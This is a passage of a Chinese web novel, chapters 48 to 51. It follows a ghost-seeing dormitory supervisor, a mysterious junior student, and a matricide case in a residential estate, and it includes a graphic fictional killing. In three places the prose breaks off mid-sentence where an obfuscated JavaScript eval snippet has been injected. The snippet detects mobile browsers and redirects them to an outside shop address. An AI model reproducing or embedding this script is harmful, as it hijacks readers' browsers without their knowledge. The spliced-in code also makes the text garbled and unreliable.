拾冬被欢快的气氛吸引,不自觉走了过去。 “你是谁?”小云黛踩到一个人,往后一仰,看到一个大人,有些怯弱地问道。 “我..我是..”拾冬看着云黛,一时间竟找不到合适的词来介绍自己。 “你...你是来领养我们的吗?是吗?”小姜州秋千也不推了,满怀期待跑过来问。 拾冬望着昔日玩伴小小的,纯净的脸庞,心里的某扇门像人脸识别过后,突然打开,有什么东西缓缓流向眼眶。 “你们...好吗?” 两个小孩听不明白,面面相觑,似乎在征询对方如何回答,而秋千因为没人推而渐渐落地。 “你们怎么不帮我推了。” 拾冬迫不及待想看一看小时候的自己,一转头,她朝后退了两步。 “那你来帮我吧,快来。” 秋千上没有五官的人静静看向自己。 * “下一站,明泉大学站,请乘客们做好下车准备。” 拾冬醒来听到报站,维持睡着前的姿势不想动弹,窗外吹进来的风,眼前黄色的塑料座椅,汽车行驶的晃动感,周围汽笛声说话声把她渐渐拉回现实。 是梦啊。 拾冬眼眶一阵发热,刚抬手碰到旁边人的温热手臂,意识到眼前的塑料座椅好像是斜的后,她瞬间弹跳起身,视线回正。 “师姐你醒了啊。”郁之察觉右边的重量消失,一脸平静看向她。 “嗯..”拾冬揉了揉有些僵硬的脖颈,在心里后悔不该喝酒,但完全归咎到酒精问题上,又似乎有些欠妥。 啊..烦。 “听歌吗?”郁之扬了扬手机。 “你听吧。”拾冬拒绝,点开手机,八点五十分,不算太晚,她习惯性翻了一下任务栏,看到了一则新闻推送。 如何逃离窒息的原生家庭,或死亡,或毁灭——探究弑母案背后的真相 她点进去,果不其然,说的是盛辉小区的那起案件。 弑母的人叫杨枝。 全文很长,但文章主旨是妈妈重男轻女,父亲早逝,妈妈从小就偏袒哥哥。 哥哥生了小孩后,妈妈就搬去和哥哥一起住,帮忙带小孩。而杨枝住在盛辉小区。 “没多久我也结婚了,生了一个女儿。” 原本一切都在往好方面发展,不料女儿出生不久,竟查出有先天性心脏病,夫妻两人开始到处寻医问药,没过一年,丈夫受不了提出离婚,她带着女儿住回盛辉小区。 “妈妈当时看我可怜,就搬回来和我一起住,白天妈妈帮我照顾多多,我出去上班,那段时间虽然苦点,但是和妈妈在一起,我很安心。” “只是,心脏病不是小病。” 孩子太小,手术风险极高,也找不到合适的配型。 孩子进医院的次数从一个月三次变到一周三次,长的话,可能大半个月都得住院,看着孩子受罪的模样,杨枝心如刀割。 “多多两岁生日前一周,她躺在重症室,全身插满了管子,那些管子多得都快让我看不到多多了。” 病危通知书是杨枝妈妈签的,最后的呼吸机也是她拔的。 “我知道不该怪她,我也知道撑一天多多就受罪一天,可是...妈妈,你为什么不借我钱让多多再住几天ICU,起码让她过完两岁生日。” “她还那么小,妈妈。” 由于痛失女儿,杨枝患上严重的抑郁症,不得不辞职在家休息。 “妈妈照顾了一阵子,后来我吃药病好了一点,嫂子生二胎,她又走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819057|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我又是孤零零一个人了,我的病时好时坏,不过好在小区有个人开了一间冥想瑜伽室,我有空就会去那里坐坐。我想把日子过好一些。” “虽然对当时的我来说,很难。” 杨枝努力了好一阵,日子也逐渐回归正常,可没多久杨枝妈妈被人骗了好多钱,家里莫名背了债。 “我当时只有五万块,给了她三万,虽然杯水车薪,但这是我能给出的全部了。” “没想到她突然回来说要把现在这套房子卖了。” “哥哥明明有两套房子,却要卖我住的这套。这房子的确是妈妈名下的,可是,她知道我没地方去,为什么还要这么对我。” “也许在她心里,哥哥永远比我重要吧。” 命案发生的那一天,母女俩起了争执,杨枝一时冲动拿过一旁的剪刀,一把扎破了妈妈的颈动脉。 “我现在都忘不了妈妈那个惊恐又不可置信的眼神,她的血像水龙头一样流过我的脚,血是热的,她没多挣扎就死了,临死前流了好多眼泪,可是我哭不出来,我躺在血泊里,就像回到妈妈子宫一样,好温暖。” 这篇文章引起了很多讨论,下面的评论也是纷纷感慨杨枝的不容易,也有很多相似经历的人写出自己的往事。 “在心理学上,人有三种状态,儿童自我状态,成人自我状态以及父母自我状态,有些人终其一生,都在儿童状态里出不来。” 拾冬在那条评论上停留了几秒。 * 车到站了。 郁之作为大四毕业生,早在一周前就不在学校住了,拾冬不想给学校人制造谈资,于是两人在校门口的前一个路口分开。 “师姐,你回去多喝点水。” 拾冬看着郁之表情自然的脸想说点什么,又组织不出语言。 要不是今天这个聚餐,她依旧不会和郁之说话,无论是他发来的信息,还是送来的点心,她可以全部忽视拒绝,并不会有愧疚感。 她不近人情地拒绝他,到头来,他面对自己时,还和之前的态度一样。 恶劣,蛮横的球投出去,理应回馈的是更加激烈的恶意才对。 当有人用不同方式打破自己的惯有认知后,拾冬除了回避,似乎也想不到好的办法。 “拜拜。”她说。 “好,路上小心。” 郁之站在马路边看拾冬走远,强撑的气如同泥沙迅速垮塌,一口鲜血喷出,他无声无息消失在人来人往的街头。 拾冬回到寝室,还没到查寝时间,她喝了酒又睡了一会儿,整个人懒懒散散靠在椅子上发呆,学生三三两两从眼前经过。 “喝酒了?”一旁用手机打麻将的刘姐闻到拾冬身上隐约的酒气,一边出牌一边问。 “一点。”拾冬拿过水杯咕嘟咕嘟灌水。 “和谁?” “以前的朋友。”拾冬盖上杯盖,不可避免又想起公交车上的那个梦。 “难得你还有朋友。” “这是什么话。” 刘姐笑着出了个一筒,“因为你从来没提过你的朋友。” 拾冬沉默,几秒后才说:“有,但是不多,就没怎么说。” 刘姐“哦”了一句,不再追问,不刨根问底的优点得以让她俩和平相处。 桌上的手机亮了,拾冬等到屏幕暗下才欠身去够,猜应该是吴昭戈,刚在公交车上他就一个劲儿发消息来。 真是个话痨小孩。 一点开,除了吴昭戈,底下吴昭州头像上也显示了一个② “刚才那些话你当我喝多了的胡言乱语,我明明什么都不了解却自以为是给你提意见,对不起。” “请你相信,我真的很开心我们能再遇见,我们还是朋友对吗?” 刘姐又胡了一把,把昨天输的欢乐豆赢了回来,她正乐着要再开一局,听到旁边的姑娘说: “他们都是我很好的朋友。” 刘姐慈祥一笑,“那就好。” “汪汪汪” 珍珠甩着尾巴跟着附和。 * 吴昭宁打了一把游戏,无意中看学校八卦群,发现群里竟然聊了一百多,点到最上面先是一张照片,女生靠在男生肩膀,男生戴着耳机安静坐着,下面紧跟一句话, “郁之和宿管绝对谈了。” !!! 吴昭宁八卦之火熊熊燃烧,如饥似渴一路往下翻。 “早在他们经常去食堂吃饭那会儿,我就默认他们谈了。” “郁之一个大四毕业生,别的毕业生早离校了,他天天在学校晃来晃去,是他舍不得学校吗?(手动狗头)” “话说,宿管应该要比郁之大吧。” “现在都流行姐弟恋。” “精彩精彩~” “不过你们有没有发现,除了这个靠肩的照片,感觉他们在学校的时候都很正常,遇到也是各走各的,从没牵过手什么的,真的在谈吗?” “你不懂,这种表面装正经,当着大家的面私下偷偷暧昧的才刺激!” 对! 他们私底下还抱在一起过! 吴昭宁发出土拨鼠尖叫,迫不及待把照片转给自己的八卦搭子,准备激情开麦一番。 等了一会儿没反应,发现错转给吴昭戈了,两分钟撤不回,她潦草打了三个字“发错了”随后又重新转了一遍。 吴昭州洗完澡出来,正要问吴昭戈吹风机放哪,听到卧室传来一声“卧槽”。 “怎么了?”吴昭州一进卧室发现吴昭戈心如死灰躺在床上,旁边的手机还亮着。 “哥,我被偷家了。”吴昭戈哼哼唧唧假哭起来,“我就说郁之那个人心思重,我就知道,呜呜呜..” 你才知道啊。 吴昭州望着手机上的照片哭笑不得。 49. 第 49 章 “砰砰砰” “砰砰砰” “砰砰砰” 持续不断地敲门声吵醒了打游戏打到凌晨一点的兄弟俩。 “肯定又是那个老太太,烦死了。”吴昭戈被子蒙住头,没有要去开门的意思。 吴昭州也犯困,但在这催命一般的敲门声中无法安心睡下去,索性起身去开了门。 门口站着的老太太,一头银发,穿着公园里随处可见打太极老人们常穿的白色练功服,敲门的手上,食指缠着绷带,看到开门的吴昭州一愣,眼角的笑纹变淡,狐疑问:“你是?小吴没在吗?” “我是他哥,他还在睡觉,有什么事吗?” 老太太听完脸上一喜,忙说:“还好我早上的绿豆莲子汤多煮了一碗,奶奶给你们端过来,你和小吴一人一碗。” “奶奶不用,我们...” 老太太没有听他说话的意思,步子轻快往家走,门半敞着,吴昭州看到正缓慢摇来摇去的摇椅,只是视线受阻,没看到摇椅上的人。 不多一会儿,老太太端着一个电饭煲内胆出来,左手还提着几个包子,花卷,“听楼下社区瑜伽室的人说现在你们年轻人都在戒糖,我就没放多少糖,你们趁热喝,还有包子..” 本是出来拒绝好意的吴昭州端着电饭煲,站在门口一脸懵。 “...好,谢谢奶奶。” “客气什么,你赶紧叫小吴起床,这个点了,该吃早饭了,这孩子,老睡懒觉...” 呵呵...呵.... 吴昭州看老太太回到屋里才关上门,被这么一闹,睡意醒了大半,他把手里东西放在桌上,刷牙洗漱完回到屋里拍了拍吴昭戈,叫他起来吃饭。 “不吃,困死了,你自己吃吧。” 说完又睡了过去。 吴昭州不再勉强,拿过床头的手机轻手轻脚出去了。点开手机看到即将就业公司的HR发来信息,说怀孕的女员工提前请产假,问能不能下周一提前到岗。 昨晚刚和吴昭戈说好趁这几天一起去攀岩,吴昭州有计划被打乱的不悦,但这份工作是导师为自己争取到的,又专业对口,纵使不悦,也只能回复, “好的。” “下周一九点请准时到公司报道。” 吴昭州又回了一个“好的”,两人利落结束对话。 要去当牛马了。 他咬了一口热腾腾的包子。 * 看到考完试的同学拖着箱子陆陆续续离校,拾冬才想起来,自己暑假住哪还没个着落。她打开租房软件,看中的房子不短租,短租的房子看不中,刘姐见她在看房子,问要不要和她回老家乡下住。 拾冬婉拒,她还要趁着暑假这两个月赚外快,顺便追回她的5万块。 正看着,一个陌生电话弹了出来,没显示广告推销,她不急着接,直到对方那边自己挂断后又重新打来。 拾冬这才接起。 “小严,是我啊。”电话一接通,那头很自然打起了招呼。 “你是谁?” “....”那边战术清嗓干笑,“我是谢主任。” 哦,谢建安。 “有什么事吗?”拾冬问完,想起上个月他来问自己问符的事。 “的确有事想请你帮忙,你现在有空吗,来我办公室聊聊?” 隐约感觉和叶子有关,拾冬同意了。 从寝室楼到教职工办公室要经过操场,昔日热热闹闹的足球场此时空无一人,碧绿草坪淌着扭曲的热浪。 郁之好像经常在球场踢球。 拾冬想完,移开视线,迅速离开足球场。 不过话说,自从那晚和郁之吃完饭,拾冬已经三天没看到他了。 拾冬撑伞走在树荫下,一旁的珍珠跟在旁边,脖间铃铛叮叮当当吵得人心烦。 “你天天跟着我干什么?” “汪汪汪。” 听不懂。 到了教职工楼,拾冬收伞抹了抹额上的汗,谢主任办公室在6楼,她按下电梯上行键,没一会儿,电梯下来了,门一开里面出来几个学生,等人差不多全出来拾冬才进去,按下6,电梯门缓缓合上,拾冬盯着电梯外穿白T的瘦高背影,在心里自嘲, 你真是中邪了。 她吞下嘴里最后一点薄荷糖的残屑。 一到六楼,谢主任似乎专门等着,一看拾冬进来急忙起身,端上泡好的茶。 这么殷勤。 拾冬走来一身汗,此时坐在空调底下散热,没想喝热茶,半明知故问:“谢主任,你找我来是有什么事吗?” 谢主任避嫌,所以没关门,他欠身朝门口张望了数秒,确定不会有人来后,神神秘秘地说:“我确实有事找你,就不知道你能不能搞定。” 还用上激将法了。 “你先说吧,主任。” “我当爷爷了!” ? “...恭喜。” * 夏日午后,日头像面镜子反射出刺眼的光,为了招揽客户,每家店也陆陆续续开上了空调。 黎渔声谲坊里一片寒凉,血腥气吸引了四方小池里的毒虫们,利爪急躁刮擦着岩石内壁,急于爬出去吃食。 黎渔声被这窸窸窣窣声中吵得不得专心,带几分怒其不争把一块沾满血的布子扔了进去。 安静了。 她敛回心神,打开手边的碧绿水晶盒,盖子一开,一颗心脏从盒子里浮出,发出扑通扑通的跳动声。 “这是最后一颗了。” 寒冰床上,脸色苍白的人淡定“嗯”了一声,仿佛前三天差点一命呜呼的人不是他。 “这颗能用多久?”郁之看向那颗近乎透明的心脏。 那不过是拥有心脏的外形,里头是黎渔声从各地好不容易搜罗来的仙草炼的灵丹。 “您少动点不该动的心思便可。” 只要他懂得克制,明心灵丹可护他短期之内不受伤害,偏偏有人不听。 透明心脏钻进胸口,没一会儿,浑身难捱的疼痛得到缓解,他长长吸了口气。 黎渔声合上盖子,低头收拾案几上凌乱带有血迹的布条,正准备全部扔给毒虫涨修为,听到床上的人说: “可她好像在想我。” 黎渔声脚下一滑。 再管他我就是狗! * 刘姐正在空调房里打盹,听到开门声,迷迷糊糊睁眼,发现是拾冬,看样子心情不错,便问她大中午去哪了。 “到谢主任那一趟。”拾冬坐下喝了口水,在刘姐问去那干嘛之前率先回答,“谢主任要我暑假留下值班。” 刘姐睡意稍醒,一脸意外,暑假宿管排班这事,早几天就在群里确定了,怎么会改,而且谢主任也不是专管后勤这一块的。 “不知道,反正他是这么跟我说的。” 拾冬一脸无辜,心里暗爽。 拾冬听谢主任絮絮叨叨,夹带私货说了一堆他孙子的事情,最后点明主旨希望她给一张安神符,最好能便宜点,拾冬想到自己暑假住哪还没着落,又想起管霞天天在群里给自己上眼药,于是跟谢主任提,符可以免费画,但得安排自己暑假值班。 关于暑假宿管值班这事,原本就是每栋楼留一个,后来管霞来了,仗着有点关系,自作主张安排和她关系好的宿管,在职期间也听不少学生投诉过她。 现在拾冬有这要求,他一口答应下来了,反正和管霞沾点亲戚的那老师已经退休,不用再顾忌。 果不其然,晚上宿管群里出了一个新公告,暑假值班人员名单上,出现了拾冬名字。 “名单虽然有调整,但卢莲同事不必介怀,我们只要好好工作,不搞歪门邪道,学校会知道我们的良苦用心。” 拾冬坐在空调房里,看着群里这指向性明显的话,发出去一个“你算什么东西”的雪姨表情包,确保每个人都看到了后,在最后几秒撤回,假惺惺说:“手滑,发错了。” 紧接着针对上面那话,阴阳怪气发了个“嗯嗯,你说得对”的Loopy表情包。 “群里不要乱发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832944|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情包!” “嗯嗯,你说得对。” 拾冬又发了一个,逗得刘姐前俯后仰。 管霞在办公室用力锤了一下桌子。 “你这丫头...”刘姐笑岔了气,拍了拍拾冬的肩膀。 “我之前是懒得跟她计较,但不代表我好欺负。” 拾冬小仇得报,倒出两颗薄荷糖,走出寝室,找到在外面陪言言玩球的红绿两头,问最近有没有看到叶子。 “没有。”自从那次在郁之家她们把叶子放走后,就再也没见到这号鬼。 如果谢主任说他孙子天天晚上哭闹,可能是有不好的东西。 如果是真的,那极有可能就是叶子。 “你们两个去盛辉小区找找,看看叶子在不在那。” 红绿两头当即答应,顺便把言言一起带走了。 她们真的很喜欢小孩。 拾冬坐了一天,趁现在凉爽,在楼前散步活动一下,珍珠跟在身边。 由于珍珠太黏拾冬,言言已经丧失了对它的兴趣。 “你生前一定没做好狗,所以才投不了胎。”宿舍楼的人走了大半了,于是拾冬边走边和珍珠聊天。 “汪汪汪,汪汪汪..”珍珠气不过地大叫起来,为自己辩驳。 “不然你怎么在这当孤魂野狗。”拾冬有意逗它,珍珠恨自己不能说话,气不过上前咬她的裤腿,拾冬抬脚试图扒拉开,不料珍珠似乎真生气了,怎么都不松开,拾冬笑道,“你怎么跟向云黛小时候一样...” 她小时候嘴笨,说不过自己时就咬人。 话刚说完,珍珠松开了口,抬头冲她汪汪叫。 “好了好了,不说你了。”拾冬敷衍哄狗,一人一狗来来回回了走了快十圈,最后拾冬在石椅坐下,摸了摸趴在脚边的珍珠。 周围零碎的声音昭示着还有学生在,拾冬靠着椅背,回想中午谢主任说的话。 他对自己有所隐瞒。 只说最近他孙子哭闹,问能不能给张符让他安心,可问最近家里似乎发生了什么,他却闪烁其词说没什么,也没有提过叶子。 隐瞒的一部分原因,是谢建安并不相信自己能见鬼,也不相信自己能搞定,买符只不过是图他的心理安慰。 这种被小看的感觉让拾冬莫名不爽。 不过他还会来找她的,毕竟那张符作用不大。 拾冬为了接私活不得不用上点小手段了,毕竟孟永那老头指望不上,一想到那老头上次对自己的态度,拾冬决定跟他冷战到底! “师姐在想什么,这么认真。” 空洞的视线中走进一个人,穿着白T,眉眼间藏着淡淡笑意,朝自己走来。 “你...” 这几天去哪了。 “什么?”郁之很自然坐下。 石椅不长,两人隔着一拳半的距离,拾冬感觉到他身上带着刚从空调房里出来淡淡寒意,面色也比平时憔悴一些。 “你生病了?”拾冬换了个问句。 郁之嘴角一扬,点头,“是啊,空调吹多了,发了几天高烧。” 原来是这样。 拾冬没再说话,两人静静坐着,她感觉到一种不自在的自在,想起身离开,又矛盾妥协于坐一会儿应该也没什么的自我安慰。 想离开是为什么,留下来又是为什么。 拾冬没有答案,也许曾经的很多事,她都是这么稀里糊涂含糊过去,才导致如今这种模糊不清的局面。 “你头上有花。” 头顶传来短促压力又很快消失,接着掌纹清晰的手伸到面前,上面静静躺着一朵淡粉色的紫薇。 “师姐,夏天到了。” 车子在校门之外鸣笛,头顶寝室楼里水龙头哗哗流着水,听不真切的聊天内容,微弱路灯下蠓虫纷纷扰扰, 以及两个快要挨到一起的影子。 “是啊,夏天到了。” 拾冬看着他掌心的花瓣附和道。 好普通的夏日日常。 好普通的紫薇花。 50. 第 50 章 谢建安还没进门就听到里头传来孩子哭声。 这个月刚晋升为爷爷,热乎劲还没过,孩子却....谢建安打开公文包看了看里头的黄符。 祈祷这玩意儿有用吧。 他深吸了口气打开门。 “小瑞怎么又哭啦,爷爷抱抱。”谢建安一边换鞋一边夹起嗓子说话。 几秒换好鞋,一走到客厅,和一个陌生男人迎面碰上,正疑惑这人是谁,看到他眼角的疤后瞬间想起来了。 “大师慢走。”李翠萍把手里的孩子交给谢建安,毕恭毕敬把人送出门,见男人进电梯才把门关上。 “他来干什么?”人一走,谢建安迫不及待发问。 “宝宝天天这么哭,我找大师来家里看看。” 李翠萍其实对那所谓大师也颇有意见,上个月明明说好把这事解决,但突然说有事要去外地一趟,等回来再处理。 一等就是将近一个月,舒颖比预产期提前一周生了,一生下来孩子就哭闹个不停,请了几个月嫂都带不了,纷纷请辞,找人说是他们住的那房子风水不好,无奈之下只好搬来,婆媳俩一起照顾。 但搬来孩子也老哭。 “看出什么来了?”谢建安直觉不喜欢那个眼神阴狠的男人,“我找人拿了符,你别多管闲事。” “我知道你找的谁,一个丫头片子顶什么用。你才别添乱。”李翠萍剜了谢建安一眼,朝紧闭的客卧大门看了一眼后,小心翼翼拿起茶几上笔墨未干的符,悄声催促,“快来帮我。” 谢建安抱着孩子走进他们主卧,过道的婴儿摇篮,床头柜的奶粉,奶瓶,保温水壶,尿不湿,把曾经的卧室变成了育婴房。 “你把孩子放摇篮里,给我把床垫掀起来。”李翠萍把床上的枕头被子随便团一团放到地上,一边指挥谢建安。 “掀床垫干什么?” “把这符贴在宝宝睡的地方。”李翠萍见谢建安不动,又怕等会儿舒颖醒了,怪他们搞封建迷信,不耐烦催促道:“快点啊!” 谢建安把孩子小心放进摇篮,掀开厚重的床垫,李翠萍连忙把符箓放到床板正中央,并虔诚拜了拜,嘴里还念念有词嘟囔了好一会儿,才起身示意谢建安把床垫放下。 “咚。” “轻点!” 李翠萍朝空气中挥了挥,生怕扑起的灰尘被孙子吸进去,她抢先一步把孩子抱起,刚还哭的孩子这会儿在摇篮里安静躺着,望着天花板。 “小瑞今天好乖哦,我家小瑞最乖了是不是。”李翠萍一边哄着一边抱着往外走,坚信就是那符起了作用。 “妈,嘉阳刚给我发信息,他说今晚同学聚会,不回来吃饭了。”舒颖一脸浮肿从房里出来上厕所一边对李翠萍说。 “哦,行,那颖颖你想吃点什么?” “我都听妈的,诶,瑞瑞今天这么乖啊,我刚睡觉的时候都没怎么听到他哭。” “是啊,知道心疼妈妈了。” 谢建安在卧室听着客厅婆媳俩的谈话声,长叹了口气。 * 老伴又开始噼里啪啷做饭,何达祥劝说无果,不得已出门遛弯。 自从几年前十八岁的孙子因病离世,老伴每次在街上遇到相似模样的孩子总要发愣,何达祥在电梯门口,看到对面紧闭的大门摇了摇头。 到了一楼,他看到不远处凉亭里坐着一个姑娘,想起来是6楼的邻居。 “姑娘,最近咋样。” 文霜闻言,打量的视线转了一圈,最后落在何达祥光光如也的头顶,回过神摇头:“就那样吧。” 何达祥慈祥笑了,“我也一样。” 文霜不搭腔,眼神无光望着面前走来走去的人,何达祥跟着在旁边坐一会儿后,临走前拍了拍她的头, “早点回去吧,爸妈等着急了。” 文霜不多解释,只是淡淡点头,她又呆坐了一会儿,这才起身往楼道走去。 吴昭州已经上了三天班了,本想趁上班前把住的地方找好,但看了半天都没看中合适的房子,于是吴昭戈提议先住他那。 “反正我租了两个月,你就趁这两个月慢慢找呗,难得我们兄弟俩能一起待这么长时间。” 想着这房子离公司地铁一个小时多点,倒也合适,于是吴昭州便答应了。 吴昭州接近7点下班,一个小时地铁到小区快8点,吴昭戈半小时前就发信息来说已经点外卖了,就等他回来。 这时,他意外看到了同一科研组的同事,手上提着便利店的袋子。 两人没说过话,即使偶尔在办公室打照面碰上,对方也是冷冰冰的模样。 “小文啊,人如其名,冷若冰霜,不过长的还是很漂亮。” 带他的前辈私下这么调侃过,吴昭州低头喝水没有搭腔。 听说没有人想下班后跟同事聊天,于是吴昭州很有分寸没有上前打招呼,没想到,两人竟然是同一栋楼。 这会儿电梯正好没人,两人同时进了电梯。 “小文姐,好巧。”吴昭州主动打招呼,站在电梯按钮边,问,“你是几楼。” “6楼,谢谢。” 吴昭州按下6和15,电梯门缓缓合上,锃亮的电梯门印出两人的影子,数字一层层叠加,到第三层时,他听到小文姐问他:“工作适应吗?” “还可以,不过目前有很多要学的。”吴昭州诚实回答,虽然自诩专业知识过硬,但真到了工作中,又是另一种情形。 “嗯。” “叮。” 六楼到了,吴昭州侧身让人出去,在两人擦肩而过时,说:“小文姐再见。” “再见,吴昭州。” 她记得我的名字。 吴昭州看着小文姐走进灯光微弱的楼道。 电梯门缓缓合上。 打开灯,几个箱子依旧原封不动放着,上手摸的话,能摸到一层灰。 空荡房间只有解塑料袋的声音,随后踢踢踏踏的脚步声蔓延到厨房,在微波炉面前停下,“叮”一声过后,微波炉亮起灯,里面的食物开始旋转。 加热三分钟的间隙里,脚步声主人走到玄关,倒出两粒药片吃了下去。 她在门口站了会儿,用曾经数学满分的大脑思索,等会儿走路是先出左脚还是右脚。 “叮” 先出左脚吧。 微波炉门打开,里面的热气夹杂着便当香气扑在脸上。 “这个便当应该不好吃。” 文霜站在微波炉前凭气味判断。 苍白的手从微波炉端出便当。 电梯门还没开,吴昭州就听到吴昭戈的大嗓门。 “为什么要扔我的外卖,你这人也太奇怪了,再这样别怪我报警了!” “怎么了小七。” 吴昭州一出电梯就看到吴昭戈满脸怒气冲比他矮一大截的对门老太太怒吼,老太太吓得跟个鹌鹑似的瑟缩成一团。 “我点了外卖,送来的时候我在打游戏,就要他放门口,等我打完准备去拿,就看到她提着我的外卖想扔,真是莫名其妙了,这是犯罪懂不懂啊!” “不是扔,你吃油炸食品不健康,我想你吃点健康的,对身体好的。”老太太躲在吴昭州身后辩解道。 “我身体好得很,再说了我吃什么关你什么事,我们就是个邻居好不好,不该管的别管!” “你冷静点。”吴昭州将吴昭戈往后推了两步,“先回屋,我来说。” 吴昭戈怒气满满拿着外卖回屋。 吴昭州在这住了将近一周,这一周,老太太几乎隔三差五给他们送饭送水果,好几次都是不等他们拒绝直接塞手里就走,吴昭戈看在吴昭州的面子勉强吃了几天后,终于今天忍不了点外卖了,没想到,这老太太... “奶奶,你看上去很喜欢我弟弟。”即使吴昭戈已经进门了,她还恋恋不舍盯着半开的门。 “他...很像我孙子。”兰珍有种被人看穿尴尬,枯瘦的手抹了抹眼泪,“看着他就总想起小宇来。” “是吗?他也在外面读大学吗?” “他没了。” 吴昭州猝不及防,瞬间理解了这些天她的所作所为,看着头发花白的老人,他不禁起了恻隐之心,但她自作主张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845700|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扔人外卖这事,过于偏激。 “奶奶,我理解你的心情,但是昭戈毕竟不是你孙子,他只是来这过暑假的,暑假一过他就要回学校读书了,你...” “他要走?他不在这?”兰珍一改刚刚忧郁的样子脸上露出大吃一惊的模样。 “对,他本来就是来这...” 追姑娘,看样子是追不到。 吴昭州正想换一个说法,对方已经不想再听,嘴里念念有词回家了。 这老太太真有些神神叨叨。 吴昭州进门,吴昭戈疯狂星期四已经吃上了,他吐掉嘴里的骨头问:“你们说什么了?” “那老太太说你像她死去的孙子,所以难免举动过激了些。” “....虽然很同情她的遭遇,但我又不是她孙子。”吴昭戈拿过一个鸡腿,吐槽,“替身文学,婉拒了哈。” 吴昭州无奈笑了。 * 谢嘉阳已经好几年没参加同学聚会了,群里说的时候他也无意愿加入,直到有个人说“这次我们梁警官也会来。”他当下决定一起。 同学会无一例外吃吃喝喝,攀比开来的车,腕上的表,所获得头衔,谢嘉阳只觉得无趣。 他一直在偷偷观察对面坐着的梁楹。 他和梁楹高中前后桌过一段时间,不过关系淡,也不知等会儿她会不会相信自己说的话。 好不容易捱到饭局结束,有人提议要续趴,谢嘉阳看向梁楹,只见她双手一挥,婉拒:“不行了,我明早要出外勤,你们去吧。” 于是谢嘉阳也用自己刚出生的儿子当借口,拒绝了。 一行人在饭店门口分开,谢嘉阳跟着梁楹下了地下车库,在两人还有五步远的位置,梁楹回头,似乎早有察觉,问:“老同学,你好像找我有事吧。” 不愧是警察。 谢嘉阳如实点头。 “嘭” 一前一后两声关车门后,梁楹率先发问:“说吧,什么事,先声明,找我走后门不行。” 谢嘉阳坐在梁楹车里,说:“我爸妈非法拘禁了我弟。” 梁楹神色严肃:“具体什么情况。” “我弟一年多以前去墨尔本留学,之后我发信息,打电话,他都不回。我感觉不对劲,问我爸妈,爸妈说,他在墨尔本很好,还给我看他们的聊天记录,可是,我从没见过他们打电话。 于是我偷偷去了一趟墨尔本,找到我弟留学的学校,结果学校领导告诉我,他们学校根本没有这个人。我回来之后继续探我爸妈的口风,他们还是坚持说,我弟在墨尔本留学。我猜是我爸妈把他关起来了。” “可是你爸妈为什么要关你弟弟?”梁楹听完前因后果冷静发问,原本是个好回答的问题,却一直没等到回复,她狐疑扭头,车内只开了阅读灯,昏黄光线下,谢嘉阳的喉结上下滚动,她敏锐察觉到他想隐瞒,于是先发制人,“想我帮你,就得说实话,如果不想,就下车吧,不要浪费彼此时间。” “因为他们不想我们见面。” ? 梁楹不理解,“为什么?” 谢嘉阳喉结频繁滚动,带着豁出去的决绝,说:“我们相爱了。” “嗯?啊?!!” 梁警官表情五彩缤纷。 梁楹还没从我老同学在搞骨科的余味中回过神来,她随身携带的对讲机响了, “接到群众报警,延吉路50号盛辉小区5栋801住户夫妻俩斗殴,丈夫捅伤了妻子,还挟持了前来劝架的女儿,请在附近的同事速去支援。” 又是盛辉小区。 梁楹正要开导航赶过去,不料谢嘉阳说:“你跟着我的车,我就住在盛辉小区,有一条近道,不堵车。” “好。” 与此同时,平平无奇的工作日晚上,劳累一天的人打开手机准备放松,看看今天有什么趣事时,一条热搜迅速登榜, ——杨树 点进去是一条微博,上面写着: 我是弑母案凶手的哥哥杨树,我在这里发誓,杨枝说的没一个字是真的, 不要相信她! 51. 第 51 章 红绿两头这几天一有空就去盛辉小区晃悠,即使拾冬说不用去了,她们还是趁猎食的时候来转转。 “我感觉叶子噶了。” “我也是这么认为的。” 红绿两头坐在楼顶吹风,一人抱着一血淋淋的胳膊啃,这情形要是言言看到了,指不定她心中好姐姐的形象崩塌。 “还好遇到了老大,不然我俩说不定也早没了。” 拾冬给她们提供香火,给她们烧钱,让她们姐妹俩吃香的喝辣的。 其实红头和绿头并不是亲姐妹。 红头是五年前遇到绿头的,她这种鬼气弱的孤魂野鬼,只敢晚上时候出来觅食,运气好能吃到别的鬼吃剩的香火,运气不好就只能捡点死掉的动物来维持灵体不灭。 鬼界和人界不同,正常投胎的按照流程下地府,排队等号投胎,想投好胎就得花钱,不过听说地府现在通货膨胀得厉害,想投胎当牛蛙都得好几个亿,比投胎当人还贵。 另一种就是像她这种不想投胎的,这些鬼不在地府管辖之内,他们有自己主导的王。只是听小道消息,这个王已经几百年没露面了。 